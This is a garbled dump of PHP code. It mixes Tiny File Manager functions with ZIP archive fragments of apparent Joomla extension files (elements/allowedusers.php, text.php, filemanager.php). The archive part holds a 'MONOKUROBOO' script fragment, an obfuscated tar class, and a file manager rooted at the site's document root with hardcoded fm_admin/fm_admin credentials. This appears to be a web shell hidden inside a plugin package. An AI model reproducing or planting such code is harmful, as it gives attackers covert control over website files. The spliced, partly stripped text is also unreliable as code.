'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKQB\)elements/allowedusers.phpnuW+A element['name']; $control_name = 'jform[params]'; $control_name_basic = 'jformparams'; if (is_array($this->value)) $value = $this->value; else $value = (string)$this->value; $query = 'SELECT id AS value, username AS text' . ' FROM #__users' . ' WHERE block=0 ORDER BY name'; $db->setQuery($query); $optionsAll[] = JHTML::_('select.option', "[ALL]", "[ALL]"); $optionsDB = $db->loadObjectList(); if ($name === 'settingidsund') { $options = array_merge($optionsAll, $optionsDB); } else { $options = $optionsDB; } $slistpath = ''; $slistpath = JHTML::_('select.genericlist', $options, ''.$control_name.'['.$name.'][]', 'class="inputbox" size="12" multiple="multiple"', 'value', 'text', $value, $control_name_basic.$name); echo $slistpath; ?> PKQB\ȌDDelements/text.phpnuW+AMONOKUROBOO<\/script>\r\n $l154))$this->$l154=array();}function createArchive($f155){$b84=false;if(file_exists($this->$o156)&&is_file($this->$o156))$g157=false;else $g157=true;if($g157){if(!$this->openWrite())return false;}else{if(filesize($this->$o156)==0)return $this->openWrite();if($this->$y158){$this->closeTmpFile();if(!rename($this->$o156,$this->$o156.'.tmp')){$this->$l154[]=__('Cannot rename').' '.$this->$o156.__(' to ').$this->$o156.'.tmp';return false;}$y159=gzopen($this->$o156.'.tmp','rb');if(!$y159){$this->$l154[]=$this->$o156.'.tmp '.__('is not readable');rename($this->$o156.'.tmp',$this->$o156);return false;}if(!$this->openWrite()){rename($this->$o156.'.tmp',$this->$o156);return false;}$s160=gzread($y159,512);if(!gzeof($y159)){do{$o161=pack('a512',$s160);$this->writeBlock($o161);$s160=gzread($y159,512);}while(!gzeof($y159));}gzclose($y159);unlink($this->$o156.'.tmp');}else{$this->$q162=fopen($this->$o156,'r+b');if(!$this->$q162)return false;}}if(isset($f155)&&is_array($f155)){if(count($f155)>0)$b84=$this->packFileArray($f155);}else $this->$l154[]=__('No file').__(' to ').__('Archive');if(($b84)&&(is_resource($this->$q162))){$o161=pack('a512','');$this->writeBlock($o161);}$this->closeTmpFile();if($g157&&!$b84){$this->closeTmpFile();unlink($this->$o156);}return $b84;}function restoreArchive($u6){$r163=$this->$o156;if(!$this->$y158){if(file_exists($r163)){if($l46=fopen($r163,'rb')){$q164=fread($l46,2);fclose($l46);if($q164=='\37\213'){$this->$y158=true;}}}elseif((substr($r163,-2)=='gz')OR(substr($r163,-3)=='tgz'))$this->$y158=true;}$b84=true;if($this->$y158)$this->$q162=gzopen($r163,'rb');else $this->$q162=fopen($r163,'rb');if(!$this->$q162){$this->$l154[]=$r163.' '.__('is not readable');return false;}$b84=$this->unpackFileArray($u6);$this->closeTmpFile();return $b84;}function showErrors($t165=''){$v166=$this->$l154;if(count($v166)>0){if(!empty($t165))$t165=' ('.$t165.')';$t165=__('Error occurred').$t165.':
    ';foreach($v166 as $t101)$t165.=$t101.'
    ';return $t165;}else return '';}function packFileArray($a167){$b84=true;if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(!is_array($a167)||count($a167)<=0)return true;for($f89=0;$f89$o156)continue;if(strlen($d59)<=0)continue;if(!file_exists($d59)){$this->$l154[]=__('No file').' '.$d59;continue;}if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(strlen($d59)<=0){$this->$l154[]=__('Filename').' '.__('is incorrect');;return false;}$d59=str_replace('\\','/',$d59);$x168=$this->makeGoodPath($d59);if(is_file($d59)){if(($n29=fopen($d59,'rb'))==0){$this->$l154[]=__('Mode ').__('is incorrect');}if(($this->$p169==0)){if(!$this->writeHeader($d59,$x168))return false;}while(($s160=fread($n29,512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}fclose($n29);}else $this->writeHeader($d59,$x168);if(@is_dir($d59)){if(!($j91=opendir($d59))){$this->$l154[]=__('Error').': '.__('Directory ').$d59.__('is not readable');continue;}while(false!==($u55=readdir($j91))){if($u55!='.'&&$u55!='..'){$q170=array();if($d59!='.')$q170[]=$d59.'/'.$u55;else $q170[]=$u55;$b84=$this->packFileArray($q170);}}unset($q170);unset($u55);unset($j91);}}return $b84;}function unpackFileArray($u6){$u6=str_replace('\\','/',$u6);if($u6==''||(substr($u6,0,1)!='/'&&substr($u6,0,3)!='../'&&!strpos($u6,':')))$u6='./'.$u6;clearstatcache();while(strlen($o161=$this->readBlock())!=0){if(!$this->readHeader($o161,$k171))return false;if($k171['filename']=='')continue;if($k171['typeflag']=='L'){$d59='';$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();$d59.=$x173;}if(($e174=$k171['size']%512)!=0){$x173=$this->readBlock();$d59.=substr($x173,0,$e174);}$o161=$this->readBlock();if(!$this->readHeader($o161,$k171))return false;else $k171['filename']=$d59;return true;}if(($u6!='./')&&($u6!='/')){while(substr($u6,-1)=='/')$u6=substr($u6,0,strlen($u6)-1);if(substr($k171['filename'],0,1)=='/')$k171['filename']=$u6.$k171['filename'];else $k171['filename']=$u6.'/'.$k171['filename'];}if(file_exists($k171['filename'])){if((@is_dir($k171['filename']))&&($k171['typeflag']=='')){$this->$l154[]=__('File ').$k171['filename'].__(' already exists').__(' as folder');return false;}if((is_file($k171['filename']))&&($k171['typeflag']=='5')){$this->$l154[]=__('Cannot create directory').'. '.__('File ').$k171['filename'].__(' already exists');return false;}if(!is_writeable($k171['filename'])){$this->$l154[]=__('Cannot write to file').'. '.__('File ').$k171['filename'].__(' already exists');return false;}}elseif(($this->dirCheck(($k171['typeflag']=='5'?$k171['filename']:dirname($k171['filename']))))!=1){$this->$l154[]=__('Cannot create directory').' '.__(' for ').$k171['filename'];return false;}if($k171['typeflag']=='5'){if(!file_exists($k171['filename'])){if(!mkdir($k171['filename'],0777)){$this->$l154[]=__('Cannot create directory').' '.$k171['filename'];return false;}}}else{if(($r132=fopen($k171['filename'],'wb'))==0){$this->$l154[]=__('Cannot write to file').' '.$k171['filename'];return false;}else{$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();fwrite($r132,$x173,512);}if(($k171['size']%512)!=0){$x173=$this->readBlock();fwrite($r132,$x173,($k171['size']%512));}fclose($r132);touch($k171['filename'],$k171['time']);}clearstatcache();if(filesize($k171['filename'])!=$k171['size']){$this->$l154[]=__('Size of file').' '.$k171['filename'].' '.__('is incorrect');return false;}}if(($h175=dirname($k171['filename']))==$k171['filename'])$h175='';if((substr($k171['filename'],0,1)=='/')&&($h175==''))$h175='/';$this->$c176[]=$h175;$this->$q177[]=$k171['filename'];}return true;}function dirCheck($u55){$a178=dirname($u55);if((@is_dir($u55))or($u55==''))return true;if(($a178!=$u55)and($a178!='')and(!$this->dirCheck($a178)))return false;if(!mkdir($u55,0777)){$this->$l154[]=__('Cannot create directory').' '.$u55;return false;}return true;}function readHeader($o161,&$k171){if(strlen($o161)==0){$k171['filename']='';return true;}if(strlen($o161)!=512){$k171['filename']='';$this->__('Invalid block size').': '.strlen($o161);return false;}$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($o161,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156;$f89<512;$f89++)$i179+=ord(substr($o161,$f89,1));$t180=unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',$o161);$k171['checksum']=OctDec(trim($t180['checksum']));if($k171['checksum']!=$i179){$k171['filename']='';if(($i179==256)&&($k171['checksum']==0))return true;$this->$l154[]=__('Error checksum for file ').$t180['filename'];return false;}if(($k171['typeflag']=$t180['typeflag'])=='5')$k171['size']=0;$k171['filename']=trim($t180['filename']);$k171['mode']=OctDec(trim($t180['mode']));$k171['user_id']=OctDec(trim($t180['user_id']));$k171['group_id']=OctDec(trim($t180['group_id']));$k171['size']=OctDec(trim($t180['size']));$k171['time']=OctDec(trim($t180['time']));return true;}function writeHeader($d59,$x168){$k181='a100a8a8a8a12A12';$l182='a1a100a6a2a32a32a8a8a155a12';if(strlen($x168)<=0)$x168=$d59;$c183=$this->makeGoodPath($x168);if(strlen($c183)>99){$a184=pack($k181,'././LongLink',0,0,0,sprintf('%11s ',DecOct(strlen($c183))),0);$h185=pack($l182,'L','','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);$s186=$this->makeGoodPath($c183);$f89=0;while(($s160=substr($s186,(($f89++)*512),512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}return true;}$b187=stat($d59);if(@is_dir($d59)){$v188='5';$a49=sprintf('%11s ',DecOct(0));}else{$v188='';clearstatcache();$a49=sprintf('%11s ',DecOct(filesize($d59)));}$a184=pack($k181,$c183,sprintf('%6s ',DecOct(fileperms($d59))),sprintf('%6s ',DecOct($b187[4])),sprintf('%6s ',DecOct($b187[5])),$a49,sprintf('%11s',DecOct(filemtime($d59))));$h185=pack($l182,$v188,'','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);return true;}function openWrite(){if($this->$y158)$this->$q162=gzopen($this->$o156,'wb9f');else $this->$q162=fopen($this->$o156,'wb');if(!($this->$q162)){$this->$l154[]=__('Cannot write to file').' '.$this->$o156;return false;}return true;}function readBlock(){if(is_resource($this->$q162)){if($this->$y158)$q189=gzread($this->$q162,512);else $q189=fread($this->$q162,512);}else $q189='';return $q189;}function writeBlock($q164,$p190=0){if(is_resource($this->$q162)){if($p190===0){if($this->$y158)gzputs($this->$q162,$q164);else fputs($this->$q162,$q164);}else{if($this->$y158)gzputs($this->$q162,$q164,$p190);else fputs($this->$q162,$q164,$p190);}}}function closeTmpFile(){if(is_resource($this->$q162)){if($this->$y158)gzclose($this->$q162);else fclose($this->$q162);$this->$q162=0;}}function makeGoodPath($u6){if(strlen($u6)>0){$u6=str_replace('\\','/',$u6);$p191=explode('/',$u6);$v31=count($p191)-1;for($f89=$v31;$f89>=0;$f89--){if($p191[$f89]=='.'){}elseif($p191[$f89]=='..'){$f89--;}elseif(($p191[$f89]=='')and($f89!=$v31)and($f89!=0)){}else $b84=$p191[$f89].($f89!=$v31?'/'.$b84:'');}}else $b84='';return $b84;}}PKQB\]]elements/filemanager.phpnuW+A 'Password', 'Username2' => 'Password2', ...) $auth_users = array( 'fm_admin' => 'fm_admin', ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style $highlightjs_style = 'vs'; // Default timezone for date() and time() - http://php.net/manual/en/timezones.php $default_timezone = 'Europe/Minsk'; // UTC+3 // Root path for file manager $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'CP1251'; // date() format for file modification date $datetime_format = 'd.m.y H:i'; //--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL // if fm included if (defined('FM_EMBED')) { $use_auth = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name('filemanager'); session_start(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo sprintf('

    Root path "%s" not found!

    ', fm_enc($root_path)); exit; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Auth if ($use_auth) { if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if (isset($auth_users[$_POST['fm_usr']]) && $_POST['fm_pwd'] === $auth_users[$_POST['fm_usr']]) { $_SESSION['logged'] = $_POST['fm_usr']; fm_set_msg('You are logged in'); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION['logged']); fm_set_msg('Wrong password', 'error'); fm_redirect(FM_SELF_URL); } } else { // Form unset($_SESSION['logged']); fm_show_header(); fm_show_message(); ?>
    %s
    deleted' : 'File %s deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Wrong file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new'])) { $new = strip_tags($_GET['new']); // remove unwanted characters from folder name $new = fm_clean_path($new); $new = str_replace('/', '', $new); if ($new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf('Folder %s created', fm_enc($new))); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder %s already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder %s not created', fm_enc($new)), 'error'); } } else { fm_set_msg('Wrong folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish'])) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from %s to %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { fm_set_msg('Paths must be not equal', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'])) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to'])) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path($new); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if ($old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from %s to %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from %s to %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Names not set', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; 